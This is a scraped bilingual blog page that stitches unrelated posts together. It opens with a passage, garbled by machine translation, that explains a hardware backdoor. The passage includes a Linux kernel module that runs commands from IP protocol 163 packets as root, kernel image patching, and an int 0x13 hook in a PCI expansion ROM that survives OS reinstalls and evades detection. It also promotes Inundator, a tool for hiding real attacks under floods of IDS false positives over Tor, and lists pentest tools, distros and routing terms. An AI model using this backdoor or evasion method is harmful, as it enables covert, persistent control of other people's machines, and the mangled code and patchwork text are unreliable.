paquetes IP tiene un campo llamado el número de protocolo, que es como los sistemas de distinguir entre TCP y UDP y otros protocolos. Vamos a escoger un número de protocolo utilizado, por ejemplo, 163, y tenemos nuestro módulo de escucha para los paquetes con ese número de protocolo. Cuando recibimos una, vamos a ejecutar sus datos de carga útil en un shell que se ejecuta como root. Esto nos dará completa de control remoto de la máquina.

El kernel de Linux tiene un inet_protos tabla global que consiste en una estructura * net_protocol para cada número de protocolo. El campo importante para nuestros propósitos es controlador, un puntero a una función que toma un solo argumento de tipo struct sk_buff *. Cada vez que el kernel de Linux recibe un paquete IP, busca la entrada en inet_protos correspondiente al número de protocolo del paquete, y si la entrada no es NULL, se pasa el paquete a la función de controlador. El tipo sk_buff estructura es bastante complicado, pero el único campo que nos interesa es el campo de datos, que es un puntero al comienzo de la carga útil del paquete (todo después de la cabecera IP). Queremos pasar la carga útil como comandos a un shell que se ejecuta con privilegios de root. Podemos crear un proceso en modo de usuario se ejecuta como root con la función call_usermodehelper, por lo que nuestro controlador es el siguiente:

exec_packet int (struct skb sk_buff *)
{
char * argv [4] = {"/ bin / sh", "-c", los datos> skb, NULL};
char * envp [1] = NULL {};

call_usermodehelper ("/ bin / sh", argv, envp, UMH_NO_WAIT);

kfree_skb (SKB);
return 0;
}

También tenemos que definir una estructura net_protocol que apunta a nuestro manejador de paquetes, y verlo cuando nuestro módulo está cargado:

const struct proto163_protocol net_protocol = {
. Controlador = exec_packet,
. No_policy = 1,
. Netns_ok = 1
};

int init_module (void)
{
retorno (inet_add_protocol (y proto163_protocol, 163) <0); } Vamos a crear y cargar el módulo: rwbarton @ objetivo: ~ $ make make-C / M lib/modules/2.6.32-24-generic/build = / home / módulos rwbarton make [1]: se ingresa al directorio `/ usr/src/linux-headers-2.6.32-24-generic ' CC [M] / home/rwbarton/exec163.o La construcción de módulos, la fase 2. MODPOST 1 módulos CC / home/rwbarton/exec163.mod.o LD [M] / home/rwbarton/exec163.ko make [1]: se sale del directorio `/ usr/src/linux-headers-2.6.32-24-generic ' rwbarton @ objetivo: ~ $ sudo insmod exec163.ko Ahora podemos usar sendip (disponible en el paquete sendip Ubuntu) para construir y enviar un paquete con número de protocolo 163 de un segundo equipo (denominado de control) para el equipo de destino: rwbarton control @: ~ $ echo-ne 'touch / tmp / x \ 0' carga>
rwbarton control @: ~ $ sudo sendip ipv4-p-0-ip 163-f de carga $ targetip

rwbarton @ objetivo: ~ $ ls-l / tmp / x
-Rw-r - r - 1 root root 0 12.10.2010 14:53 / tmp / x

Muy bien! Funcionó. Tenga en cuenta que tenemos que enviar una cadena de terminación nula en la carga útil, porque eso es lo call_usermodehelper espera encontrar en argv y no añadimos un terminador en exec_packet.
Modificación del núcleo en el disco

En la sección anterior hemos utilizado el cargador de módulos para que nuestros cambios en el núcleo en ejecución. Nuestra próxima meta es hacer que estos cambios modificando el núcleo en el disco. Esto es básicamente una aplicación de técnicas ordinarias parches binarios, por lo que sólo vamos a dar una visión general de lo que hay que hacer.

El núcleo de la vida en el directorio / boot, en mi sistema de prueba, que se llama / boot/vmlinuz-2.6.32-24-generic. Este archivo contiene en realidad una versión comprimida del núcleo, junto con el código que descomprime y luego salta al principio. Vamos a modificar este código para hacer algunos cambios a la imagen descomprimido antes de ejecutarlo, que tienen el mismo efecto que la carga de nuestro módulo del kernel hizo en la sección anterior.

Cuando usamos el gestor de módulos del núcleo para hacer nuestros cambios en el núcleo, el cargador de módulos realizado tres tareas importantes para nosotros:

1. asignó la memoria del kernel para almacenar nuestro módulo del kernel, que incluye tanto el código (la función exec_packet) y datos (proto163_protocol y las constantes de cadena en exec_packet) secciones;
2. se realizaron traslados de empresas, de modo que, por ejemplo, exec_packet sabe las direcciones de las funciones del kernel que necesita llamar como kfree_skb, así como las direcciones de las constantes de su cadena;
3. corría nuestra función init_module.

Tenemos que abordar cada uno de estos puntos en encontrar la manera de aplicar estos cambios, sin hacer uso del cargador de módulos.

Los puntos segundo y tercero son relativamente sencilla gracias a nuestro supuesto simplificador de que sabemos la versión exacta del núcleo del sistema de destino. Podemos buscar las direcciones de las funciones del kernel nuestro módulo tiene que llamar a mano, y definir como constantes en nuestro código. También puede fácilmente parche función de inicio del kernel para instalar un puntero a nuestro proto163_protocol en inet_protos [163], ya que tenemos una copia exacta de su código.

El primer punto es un poco difícil. Normalmente, nosotros llamaríamos kmalloc asignar algo de memoria para almacenar el código de nuestro módulo y los datos, pero tenemos que hacer nuestros cambios antes de que el núcleo ha empezado a ejecutarse, por lo que el asignador de memoria no inicializado todavía. Podríamos tratar de encontrar algo de código para el parche que se ejecuta lo suficientemente tarde como que es seguro llamar a kmalloc, pero todavía tendría que encontrar un lugar para almacenar el código adicional.

¿Qué vamos a hacer es engañar y encontrar algunos datos que no se utiliza para cualquier cosa terriblemente importante, y sobrescribir con nuestros propios datos. En general, es difícil estar seguro de lo que una buena parte determinada de la imagen del kernel se utiliza para, incluso una gran parte de ceros podría ser parte de una importante tabla de búsqueda. Sin embargo, podemos estar bastante seguros de que los mensajes de error en la imagen del núcleo no se utilizan para cualquier cosa, además de ser mostrado al usuario. Sólo tenemos que encontrar un mensaje de error que es lo suficientemente largo para proporcionar espacio para nuestros datos, y lo suficientemente oscuros que es poco probable que alguna vez se ha disparado. Vamos a necesitar muy por debajo de 180 bytes para los datos, así que vamos a buscar las cadenas en la imagen del núcleo que son por lo menos ese tiempo:

rwbarton @ objetivo: ~ $ vmlinux cadenas | '^ {180}. egrep | less

Una de las líneas de salida es la siguiente:

<4> Intento de acceso a archivos con metadatos de cifrado sólo en la región de atributos extendidos, pero eCryptfs se montó sin el apoyo xattr habilitado. eCryptfs no tratar esto como un archivo cifrado.

Esto suena bastante oscuro para mí, y una búsqueda en Google no encuentra que se produzcan hechos de este mensaje que no corresponden al código fuente del kernel. Por lo tanto, vamos a simplemente sobrescribir con nuestros datos.

Una vez que sepa qué cambios deben aplicarse al kernel descomprimido, podemos modificar el archivo vmlinuz para que se aplique estos cambios después de realizar la descompresión. Una vez más, tenemos que encontrar un lugar para almacenar el código añadido, y convenientemente suficiente, hay un montón de cadenas utilizadas como mensajes de error (en caso de no descompresión). No esperamos que la descompresión al fracaso, porque no modificó la imagen comprimida en absoluto. Así que vamos a sobrescribir los mensajes de error con el código que se aplica a nuestros parches al kernel descomprimido, y modificar el código en el vmlinuz que descomprime el kernel para ir a nuestro código después de hacerlo. El importe de los cambios a 5 bytes a escribir que la instrucción jmp, y cerca de 200 bytes para el código y los datos que utilizamos para parchear el kernel descomprimido.
Modificación del núcleo durante el proceso de arranque

Nuestro objetivo final, sin embargo, no es de modificar realmente el núcleo en el disco en absoluto, sino para crear una pieza de hardware que, si está presente en el equipo de destino cuando se inicia, hará que nuestros cambios que deben aplicarse al kernel. ¿Cómo podemos lograrlo?

La especificación PCI define una "ROM de expansión" mecanismo por el cual una tarjeta PCI puede incluir un poco de código de la BIOS para ejecutar durante el procedimiento de inicio. Con ello se pretende dar al equipo una oportunidad de iniciar, pero también podemos usar para nuestros propios fines. Para averiguar qué código es necesario incluir en nuestra ROM de expansión, necesitamos saber un poco más sobre el proceso de arranque.

Cuando un equipo se inicia, el BIOS inicializa el hardware, a continuación, carga el registro de inicio maestro del dispositivo de arranque, por lo general un disco duro. Los discos se dividen tradicionalmente en unidades conceptuales llamados sectores de 512 bytes cada uno. El registro de inicio maestro es el primer sector en el disco. Después de cargar el registro de inicio maestro en la memoria, el BIOS salta al principio del disco.

En mi sistema de prueba, el registro de inicio maestro se instaló GRUB. Contiene código para cargar el resto del gestor de arranque GRUB, el cual a su vez carga la imagen / boot/vmlinuz-2.6.32-24-generic desde el disco y lo ejecuta. GRUB contiene un controlador integrado que comprende el diseño de sistema de ficheros ext4. Sin embargo, se basa en la BIOS para leer realmente los datos del disco, en gran parte de la misma manera que un programa a nivel de usuario se basa en un sistema operativo para acceder al hardware. En términos generales, cuando GRUB quiere leer algunos sectores de la disco, se carga el sector de inicio, el número de sectores a leer, y la dirección de destino en los registros, y después invoca la instrucción int 0x13 para elevar una interrupción. La CPU tiene una tabla de descriptores de interrupción, que se especifican para cada número de interrumpir un puntero a función a llamar cuando la interrupción que se produce. Durante la inicialización, el BIOS configura estos punteros de función para que, por ejemplo, la entrada correspondiente a la interrupción 0x13 puntos en el código del BIOS de manipulación de E / S disco duro.

Nuestra expansión ROM se ejecuta después de la BIOS establece estos descriptores de interrupción, pero antes el registro de inicio maestro se lee desde el disco. Entonces, ¿qué vamos a hacer en el código ROM de expansión es sobrescribir la entrada de la interrupción 0x13. Esto es realmente una técnica legítima que usaríamos si estuviera escribiendo una ROM de expansión para algún tipo de controlador de disco duro exóticas, que un genérico BIOS no saben leer, para que podamos arrancar el disco duro exóticas. En nuestro caso, sin embargo, lo que vamos a hacer que el controlador de int 0x13 hacer es llamar al controlador de interrupción original, a continuación, comprobar si los datos se lee coincide con uno de los sectores de la / boot/vmlinuz-2.6.32-24- genéricas que necesitamos parche. El sistema de ficheros ext4 almacena archivos alineados en los límites del sector, por lo que puede determinar si es necesario para reparar un sector que acaba de ser leído por la inspección de los primeros bytes del sector. Entonces volvemos a nuestra costumbre int controlador de 0x13. El código de este controlador será almacenada en nuestros ROM de expansión, y el punto de entrada de nuestra ROM de expansión creará la entrada de descriptor de interrupción para que apunte a él.

En resumen, el proceso de arranque del sistema con nuestra tarjeta PCI añade es la siguiente:

* El BIOS inicia y realiza la inicialización de base, incluyendo la creación de la tabla de descriptores de interrupción.
* El BIOS se ejecuta el código ROM de expansión, que enlaza el controlador de int 0x13 para que se aplicará el parche en el archivo vmlinuz cuando se lee desde el disco.
* La BIOS carga el registro de inicio maestro instalado GRUB, y salta a ella. El maestro de las cargas de registro de inicio del resto de GRUB.
* GRUB lee el archivo vmlinuz desde el disco, pero nuestra costumbre int controlador de 0x13 aplica nuestros parches al kernel antes de regresar.
* GRUB salta al punto de entrada vmlinuz, que descomprime la imagen del núcleo. Nuestras modificaciones a vmlinuz hacer que sobrescribir una cadena constante con nuestros datos de la función exec_packet y asociados, y también para sobrescribir el final del código de inicio para instalar un puntero a estos datos en inet_protos [163].
* El código de inicio del núcleo descomprimido se ejecuta e instala nuestro controlador en inet_protos [163].
* El núcleo sigue arrancar normalmente.

Ahora puede controlar la máquina de forma remota a través de Internet mediante el envío de paquetes con número de protocolo 163.

Algo bueno de esta configuración es que no es tan fácil de detectar que algo extraño ha sucedido. El sistema Linux se lee desde el disco utilizando sus propios controladores, BIOS no llamadas a través de la mesa del real modo de interrupción, por lo que la inspección de la imagen del núcleo en el disco correctamente mostrar que está sin modificar. Por la misma razón, si utilizamos nuestro control remoto de la máquina para instalar algún software malicioso que es detectado por el administrador del sistema, el procedimiento habitual de reinstalar el sistema operativo y restaurar los datos de copias de seguridad no quitará nuestra puerta trasera, ya que es no se almacenan en el disco en absoluto.

¿Qué significa todo esto en la práctica? Al igual que usted no debe correr el software no es de confianza, no se debe instalar el hardware proporcionado por fuentes no confiables. A menos que usted trabaja para algo así como una agencia de inteligencia del gobierno, sin embargo, no realista debería preocuparse acerca de la instalación del hardware de los productos básicos de los vendedores de buena reputación. Después de todo, ya está también confiar en el fabricante de tu procesador, memoria RAM, etc, así como su sistema operativo y los proveedores de compilador. Por supuesto, la mayoría de las vulnerabilidades en el mundo real se deben a errores y no malicia. Un atacante puede obtener el control de los sistemas mediante la explotación de fallos en los sistemas operativos mucho más fácilmente que mediante la distribución de hardware malicioso.

Reflections on Trusting Trust
Ken Thompson

Ocultación de puertas traseras en hardware

PyCharm

includes an intelligent code editor that understands the specific skills and offers outstanding drivers of productivity: automatic code formatting, code completion, code navigation in a single click, and more.Routines supported by advanced code analysis, these features make a powerful tool in the hands of professional developers of Python and those who are new to technology.
PyCharm make the development of Python / Django a real pleasure. IntelliJ platform based platform, naturally inherits its JavaScript editing features, HTML and CSS for all web developers will appreciate.
offers the following features:

- Advanced Support for the Django development, including intelligent code completion, inspections, refactorings and navigation specific poscódigo.

- Python Debugger integrated graphics unit tests running.

- Support for the chain of modern Python development tools, including virtualenv and buildout.

visit the website at http://www.jetbrains.com/pycharm JetBrains.
............................................................

PyCharm incluye un editor de código inteligente que entiende las capacidades específicas y ofrece destacados impulsores de productividad: formateo de código automático, finalización del código, navegación de código de un solo clic, y más.
Respaldadas por rutinas de análisis de código avanzadas, estas funciones hacen una eficaz herramienta en manos de los desarrolladores profesionales de Python y los que acaban de iniciarse en la tecnología.
PyCharm hará del desarrollo de Python/Django un verdadero placer. Basado en la plataforma IntelliJ platform, hereda naturalmente sus funciones de edición JavaScript, HTML y CSS que todos los desarrolladores web apreciarán.
ofrece las siguientes características:

-- Apoyo avanzado para el desarrollo de Django, incluyendo finalización de código inteligente, inspecciones, refactorizaciones y navegación poscódigo específico.

-- Python Debugger integrado y unidad de pruebas gráficas en marcha.

-- Apoyo para la cadena de herramientas de desarrollo Python modernas, incluyendo virtualenv y buildout.

visite el sitio web de JetBrains en http://www.jetbrains.com/pycharm.

Security Tools repository.......Herramientas de seguridad del repositorio

I found a fairly orderly repository with security tools, some large-known, others less so, but all very useful.



I leave the links to each category for you to discover new tools, learn from them and use them.





Bluetooth Tools/
http://pentester.fr/resources/tools/pentest/Bluetooth%20Tools/

Browser Extensions/
http://pentester.fr/resources/tools/pentest/Browser%20Extensions/

Exploitation Tools/
http://pentester.fr/resources/tools/pentest/Exploitation%20Tools/

Information Gathering/
http://pentester.fr/resources/tools/pentest/Information%20Gathering/

Libraries/
http://pentester.fr/resources/tools/pentest/Libraries/

Network Discovery tools/
http://pentester.fr/resources/tools/pentest/Network%20Discovery%20tools/

Network Login Auditors/
http://pentester.fr/resources/tools/pentest/Network%20Login%20Auditors/

Network Security Scanners/
http://pentester.fr/resources/tools/pentest/Network%20Security%20Scanners/

Networking Utilities/
http://pentester.fr/resources/tools/pentest/Networking%20Utilities/

OS Detection Tools/
http://pentester.fr/resources/tools/pentest/OS%20Detection%20Tools/

Packet Crafting Tools/
http://pentester.fr/resources/tools/pentest/Packet%20Crafting%20Tools/

Packet Sniffers/
http://pentester.fr/resources/tools/pentest/Packet%20Sniffers/

Password Auditing/
http://pentester.fr/resources/tools/pentest/Password%20Auditing/

Password Cracking/
http://pentester.fr/resources/tools/pentest/Password%20Cracking/

Port Scanners/
http://pentester.fr/resources/tools/pentest/Port%20Scanners/

Reverse Engineering/
http://pentester.fr/resources/tools/pentest/Reverse%20Engineering/

SQL Injection/
http://pentester.fr/resources/tools/pentest/SQL%20Injection/

SSL Checkers/
http://pentester.fr/resources/tools/pentest/SSL%20Checkers/

SSL Proxies/
http://pentester.fr/resources/tools/pentest/SSL%20Proxies/

Service Fingerprinting/
http://pentester.fr/resources/tools/pentest/Service%20Fingerprinting/


Thick Client Tools/
http://pentester.fr/resources/tools/pentest/Thick%20Client%20Tools/

VoIP Security Tools/
http://pentester.fr/resources/tools/pentest/VoIP%20Security%20Tools/

Web Applicative Proxies/
http://pentester.fr/resources/tools/pentest/Web%20Applicative%20Proxies/

Web Applicative Scanners/
http://pentester.fr/resources/tools/pentest/Web%20Applicative%20Scanners/

Web Services Security Tools/
http://pentester.fr/resources/tools/pentest/Web%20Services%20Security%20Tools/


Web Vulnerability Scanners/
http://pentester.fr/resources/tools/pentest/Web%20Vulnerability%20Scanners/


Wi-Fi/
http://pentester.fr/resources/tools/pentest/Wi-Fi/

Matriux, GNU / Linux live CD for Penetration Testing....Matriux, GNU/Linux live CD para Test de Penetración

Offers a collection of several tools specific sections involved in processes of Ethical Hacking, Penetration Testing, Vulnerability Analysis, Forensics and Network Administration among others.

These sections are divided as follows:

Recognition, in which we can find tools such as Dig, DNSWalk, Httcrack, Dmitry, Dsniff, Etherape, tcpdump, Wiresharek, among others.

Scanning, with tools such as Angry IP, Cryptcat, Ettercap GUI Httprint, Nmap, Zenmap, among others.

Attack tools, with tools like BruteSSH, md5 utils, mac changer.

Frameworks, in which we find Fast-Track, Grendel-Scan, Inguma, Metasploit Framework.

Wireless, with the aircrack suite.

Forensic Digital, with useful tools such as AIR (Automated Image and Restore) Guymager, Autopsy, Pasco, Vinett, WarVOX.

Complete list of tools (over 300).

Matriux can also be installed as an operating system based on our team, as being based on Debian / Ubuntu uses its magnificent system upgrade and installation of applications.

matriux.download.
.....................................................

Ofrece una recopilación de apartados específicos con varias herramientas involucradas en procesos de Hacking Etico, Test de Penetración, Análisis de Vulnerabilidades, Investigaciones Forenses y Administración de Redes entre otros.

Estos apartados se dividen así:

Reconocimiento, en el cual podemos encontrar herramientas tales como Dig, DNSWalk, Httcrack, Dmitry, Dsniff, Etherape, TCPDump, Wiresharek, entre otras.

Escaneo, con herramientas como Angry IP, Cryptcat, Ettercap GUI, Httprint, Nmap, Zenmap, entre otras.

Herramientas de ataque, con herramientas como BruteSSH, md5 utils, mac changer.

Frameworks, en el cual nos encontramos con Fast-Track, Grendel-Scan, Inguma, Metasploit Framework.

Wireless, con la suite de aircrack.

Forense Digital, con herramientas tan útiles como AIR (Automated Image and Restore), Guymager, Autopsy, Pasco, Vinetto, WarVOX.

Listado completo de herramientas (Más de 300).

Matriux también puede ser instalada como sistema operativo base en nuestro equipo, ya que al estar basada en Debian/Ubuntu utiliza su magnífico sistema de actualización e instalación de aplicaciones.

matriux.download.

Mandriva 2010

Mandriva Linux Mandriva or who do not know, is a Linux distribution that offers an oriented operating system for personal computers and servers with a focus on users who are entering the world of Linux and free software. The latest edition of this operating system, formerly known as Mandrake has been released.
The new version of the popular distribution demonstrates the potential of the KDE 4 Desktop Environments and technologies like Nepomuk, a semantic engine that aims to revolutionize the concept of desktop.
Just today, Mandriva 2010 or as it was known years ago when I first saw it, Mandrake, is available for download from the website of the distribution itself. It's a very easy distro to use both in KDE and GNOME desktops. It is easy to install and comes into competition with ease among novice users of Ubuntu or Open Suse.
Mandriva Linux 2010, codenamed Adelie, comes with all kinds of pimps, and as was the custom there are different editions for every user to download the most convenient. Furthermore, there is also a download of the ISO under which we can install Mandriva 2010 from USB through a utility called Mandriva-Seed.
Lest you liéis, Mandriva comes with different versions that you can choose according to suits you:

* Free: installable DVD includes the complete Mandriva Linux distribution available architectures 32 and 64 bit soft and does not bring the owner.

* ONE: CD-live environments with ONE and KDE4. Includes an installer and proprietary drivers.
# Dual-Arch: It is an installable CD that includes a minimal installation of Mandriva Linux on 32 and another at 64 bits. It is certainly best if you look at the operating system and anything you do not like Live versions.

# PowerPack / Flash: The commercial editions of Mandriva. They can be purchased through your own shop and are in the current 32 and 64 bit as well.

Downloads: Mandriva 2010

"The Staff" "Snapcrackerz Society Hackers United " is looking for 25 "Moderators / Administrators"...."El personal" "Snapcrackerz Society Hackers United " está buscando a 25 "Moderadores / Administradores"

"The Staff" is looking for 25 "Moderators / Administrators",who are capable by management and management of the site, as collaborators of Administration.
The choice of moderators is very delicate, since it is they who guarantee the balance of the community.

* Be Responsible
* Be an Active Member permanently
* Participate in discussions
* Monitor and review the contributions made by members
* Improving the quality of the debate
* Do not post messages with racist, sexist, or anyone who may be offended by another user. Including politics and religion, which may be controversial.
* Do not publish any kind of personal attack to another user.
* Try to deal with personal issues private message
* Try to maintain "peace" and 'good atmosphere' of the Site.
* Do not post messages with links to illegal or unauthorized programs, for this purpose is the Laboratory

If you are interested you can apply to become with Administrators the Site Here: "Snapcrackerz Society Hackers United "

.........................................................................
"El personal" está buscando a 25 "Moderadores / Administradores", que son capaces de la dirección y gestión del lugar, como colaboradores de la Administración.
La elección de los moderadores es muy delicada, ya que son ellos los que garantizan el equilibrio de la comunidad.


* Ser Responsable
* Sea un miembro activo permanentemente
* Participar en los debates
* Supervisar y revisar las contribuciones hechas por los miembros
* La mejora de la calidad del debate
* No enviar mensajes con contenido racista, sexista, o cualquiera que pueda ofender a otro usuario. Por ejemplo la política y la religión, que puede ser controvertido.
* No publicar cualquier tipo de ataque personal a otro usuario.
* Trate de lidiar con asuntos personales mensaje privado
* Trate de mantener la "paz" y "buen ambiente" del Sitio.
* No enviar mensajes con enlaces a programas ilegales o no autorizados, para este fin es el Laboratorio

Si usted está interesado puede solicitar el ingreso con los administradores del Sitio Aqui: "Snapcrackerz Society Hackers United "

What is Inundator?...Que es Inundator?

Inundator is a multi-threaded, queue-driven, anonymous intrusion detection false positives generator with support for multiple targets.

Jump to downloads.

When would I use Inundator?

Whenever you feel like it. Seriously. It's anonymous, so why not watch the world burn?

Example Scenarios:

* Before, during, and after a real attack to bury any potential alerts among a flood of false positives.
* Seriously mess with an IDS analyst and keep an InfoSec department busy for days investigating false positives.
* Test the effectiveness of an intrusion detection or prevention system. Less alerts means a better product; more alerts means a horrible product.


How does Inundator work?

At a high level, Inundator builds an attack queue, organized by destination port, by parsing the content: and uricontent: fields from Snort's poorly written pattern-matching rules. Inundator then builds a target queue by peforming a port scan to identify open TCP ports on each target provided by the user. Once the queues have been built, Inundator will launch the requested number of worker threads. Each worker thread will select a random target from the target queue, as well as a random open port on the selected target. A random attack for the selected port will then be selected from the attack queue, and this information is used to build a completely innocent packet or request that contains patterns matching typical intrusion detection rules. The crafted attack will then be sent to the target via a SOCKS proxy (we default to Tor's local proxy.) This procedure is repeated in an infinite loop by each worker thread until the user aborts.

Quite obviously, the actual ruleset used by the target intrusion detection system will play a very large part in whether our crafted attacks trigger a false positive. Inundator will generate an overwhelming number of false positives on systems which use extremely poor pattern matching rules, and little to no false positives on systems which use well written rules, heuristic-based detection, or anomaly-based detection mechanisms.

Downloading and Installing Inundator.

BackTrack Linux:

Inundator is now part of BackTrack Linux! BackTrack users can simply install Inundator via BackTrack's software repository as they would any other software package.

Debian and Other Debian-Based Distributions:

The preferred method of installation for all other .deb-based distributions is via our software repository. This is by far the best and simplest way of installing Inundator and its dependencies.

Add our repository to /etc/apt/sources.list:
deb http://inundator.sourceforge.net/repo/ all/

Next, download and install our GPG key:
wget http://inundator.sourceforge.net/inundator.asc
apt-key add inundator.asc

Then you can automatically pull in Inundator and all its dependencies:
aptitude update
aptitude install inundator


All Other Operating Systems:

Please download the source tarball here. Please note that Inundator has only been tested on a small number of platforms, but it is presumed to work without issue on any POSIX operating system. Installation should be as simple as running 'make install,' however you will need to manually install Inundator's dependencies in order for it to run:

- Nmap
- Perl (>= 5.10)
- Net::SOCKS (>=0.03)
- Net::CIDR (>= 0.11)
- Snort's rules files
- Oinkmaster (for keeping Snort rules up to date)
- Tor (If you don't have a remote SOCKS proxy to exploit.)

http://inundator.sourceforge.net/

...................................................................

Inundator es un multi-hilo, cola-conducido, generador de detección de intrusos, anónimos falsos positivos con soporte para múltiples objetivos.

Saltar a las descargas.

¿Cuándo debo utilizar Inundator?

Siempre que lo desees. En serio. Es anónimo, ¿por qué no ver el mundo arder?

Ejemplo Escenarios:

* Antes, durante y después de un ataque real a enterrar cualquier alertas potencial entre una gran cantidad de falsos positivos.
* En serio lío con un analista de IDS y mantener un departamento ocupado por días InfoSec investigar falsos positivos.
* Prueba de la eficacia de un sistema de detección de intrusos o de prevención. Menos alertas: un producto mejor, más descripciones: un producto horrible.


¿Cómo Inundator trabajo?

En un nivel alto, Inundator construye una cola de ataque, organizada por el puerto de destino, analizando el contenido: y uricontent: campos de mal escrito Snort las reglas de reconocimiento de patrones. Inundator a continuación, genera una cola de destino por peforming un escaneo de puertos para identificar abrir los puertos TCP en cada objetivo facilitados por el usuario. Una vez que las colas se han construido, Inundator pondrá en marcha el número solicitado de subprocesos de trabajo. Cada subproceso de trabajo seleccionará un objetivo al azar de la cola de destino, así como un puerto aleatorio abierto sobre el destino seleccionado. Un ataque aleatorio para el puerto seleccionado será elegido de la cola de ataque, y esta información se utiliza para construir un paquete completamente inocente o pedir que se pongan en venta contiene patrones típicos reglas de detección de intrusiones. El ataque diseñado para ser posteriormente enviado a los destinatarios a través de un proxy SOCKS (que por defecto a la delegación local de Tor.) Este procedimiento se repite en un bucle infinito, por cada subproceso de trabajo hasta que el intencionadas de los usuarios.

Obviamente, el conjunto de reglas real utilizado por el sistema de destino de detección de intrusos jugará un papel muy grande en saber si nuestros ataques a mano provocar un falso positivo. Inundator generará un número abrumador de falsos positivos en los sistemas que las pautas de uso extremadamente pobres normas de congruencia, y casi sin falsos positivos en los sistemas que utilizan reglas bien escrito, la detección heurística basada en, o los mecanismos de detección de anomalías basado en.

Descarga e instalación Inundator.

Linux BackTrack:

Inundator ahora es parte de BackTrack Linux! los usuarios pueden simplemente instalar BackTrack Inundator repositorio de software a través de BackTrack como lo harían con cualquier otro paquete de software.

Debian y otras distribuciones basadas en Debian:

El método preferido de instalación para todos los demás. Distribuciones basadas en deb-es a través de nuestro repositorio de software. Este es por lejos la mejor y más sencilla de instalar Inundator y sus dependencias.

Añadir el repositorio a / etc / apt / sources.list:
deb http://inundator.sourceforge.net/repo/ todos los /

A continuación, descargue e instale nuestra clave GPG:
wget http://inundator.sourceforge.net/inundator.asc
apt-key add inundator.asc

Entonces usted puede tirar de forma automática en Inundator y todas sus dependencias:
aptitude update
aptitude install inundator


Todos los sistemas operativos Otros:

Por favor, descargue el paquete fuente aquí. Tenga en cuenta que Inundator sólo se ha probado en un pequeño número de plataformas, pero se presume que trabajar sin problemas en cualquier sistema operativo POSIX. La instalación debe ser tan simple como ejecutar 'make install', sin embargo usted tendrá que instalar manualmente las dependencias Inundator con el fin de que se ejecute:

- Nmap
- Perl (> = 5.10)
- Net:: SOCKS (> = 0,03)
- Net:: CIDR (> = 0,11)
- Normas de los archivos de Snort
- Oinkmaster (para mantener las reglas de Snort al día)
- Tor (Si no tienes un proxy SOCKS remota a explotar.)

http://inundator.sourceforge.net/

JCrawler

Opensource Application for stress testing web applications.Supports HTTP redirects and cookies.It is platform independent, has a console mode and is simple to configure.

* It is suitable for complex websites where you have to test every page of this site and not just some URLs.
* JCrawler is based on attacks / second, not "X" threads attacking a website (since in the latter cases may actually be taking for example only 2 attacks per second while having 200 threads).
* Testing Http redirects, and cookies
* Open Source: offers confidence, as when it detects a bug will be fixed in a very short time.
* Console mode. He brings speed
* Easy to configure. All configuration is reduced to an XML configuration file.
* Operating System Independent.
Official website: http://jcrawler.sourceforge.net/

.................................................................................................
JCrawler
Aplicación Opensource para realizar test de estrés a aplicaciones web.
Admite redirecciones HTTP y cookies.
Es independiente de la plataforma, posee un modo consola y es sencillo de configurar.

    * Es apropiado para portales complejos en los que hay que testear todas las páginas del portal y no solo algunas URLs.
    * JCrawler está basado en ataques/segundo y no en “X” hilos atacando una web (ya que en estos últimos casos puede que realmente se estén dando por ejemplo solo 2 ataques por segundo aun teniendo 200 hilos).
    * Testeo de Http redirects y cookies
    * Open Source: ofrece confianza, ya que en cuanto se detecte un bug será solucionado en un muy breve periodo de tiempo.
    * Modo consola. Aporta velocidad
    * Fácil de configurar. Toda la configuración se reduce a un fichero de configuración XML.
    * Independiente del Sistema Operativo.

Web oficial: http://jcrawler.sourceforge.net/

IP Routing



Border Gateway Protocol (BGP)
BGP performs interdomain routing in Transmission-Control Protocol/Internet Protocol (TCP/IP) networks. BGP is an exterior gateway protocol (EGP), which means that it performs routing between multiple autonomous systems or domains and exchanges routing and reachability information with other BGP systems.

Cisco Optimized Edge Routing (OER)

Classless Interdomain Routing (CIDR)
Classless interdomain routing. IP addressing technique supported by BGP4 and based on route aggregation. CIDR allows routers to group routes together to minimize the quantity of routing information carried by the core routers.

Enhanced Interior Gateway Routing Protocol (EIGRP)
Enhanced IGRP provides compatibility and seamless interoperation with IGRP routers. An automatic-redistribution mechanism allows IGRP routes to be imported into Enhanced IGRP, and vice versa, so it is possible to add Enhanced IGRP gradually into an existing IGRP network.

Integrated Intermediate System-to-Intermediate System (IS-IS)
Intermediate System-to-Intermediate System. OSI link-state hierarchical routing protocol based on DECnet Phase V routing, whereby ISs (routers) exchange routing information based on a single metric, to determine network topology.

Interior Gateway Routing Protocol (IGRP)
IGRP is a distance-vector interior gateway protocol (IGP). Distance-vector routing protocols call for each router to send all or a portion of its routing table in a routing-update message at regular intervals to each of its neighboring routers.

Multiprotocol BGP (MBGP)

On-Demand Routing (ODR)

Open Shortest Path First (OSPF)
Open Shortest Path First (OSPF) is a routing protocol developed for Internet Protocol (IP) networks by the interior gateway protocol (IGP) working group of the Internet Engineering Task Force (IETF).

Routing Information Protocol (RIP)
The Routing Information Protocol (RIP) is a distance-vector protocol that uses hop count as its metric. RIP is widely used for routing traffic in the global Internet and is an interior gateway protocol (IGP), which means that it performs routing within a single autonomous system.
.............................................................
Border Gateway Protocol (BGP)
BGP realiza enrutamiento entre en Transmisión Control Protocol / Internet Protocol (TCP / IP). BGP es un protocolo de pasarela exterior (EGP), lo que significa que realiza el enrutamiento entre múltiples sistemas autónomos o de los dominios y los intercambios de información de enrutamiento y accesibilidad con otros sistemas BGP.

Cisco Optimized Edge Routing (REA)

Sin clases Interdomain Routing (CIDR)
Encaminamiento de interdominios sin clases. Técnica de las direcciones IP con el apoyo de BGP4 y basado en la agregación de ruta. CIDR permite que los routers de las rutas se agrupan para reducir al mínimo la cantidad de información de enrutamiento realizado por los routers de núcleo.

Enhanced Interior Gateway Routing Protocol (EIGRP)
IGRP mejorada proporciona la compatibilidad y la interoperabilidad sin fisuras con los routers IGRP. Un mecanismo automático de redistribución de las rutas de IGRP permite que se importen en Enhanced IGRP, y viceversa, así que es posible añadir IGRP mejorado gradualmente en una red IGRP existentes.

Sistema Integrado de Intermedio-to-Intermediate System (IS-IS)
Intermediate System-to-Intermediate System. Enlace OSI-estado protocolo de enrutamiento jerárquico de enrutamiento basado en DECnet la fase V, en la que la ISS (routers) el intercambio de información de enrutamiento basado en un único métricas, para determinar la topología de red.

Interior Gateway Routing Protocol (IGRP)
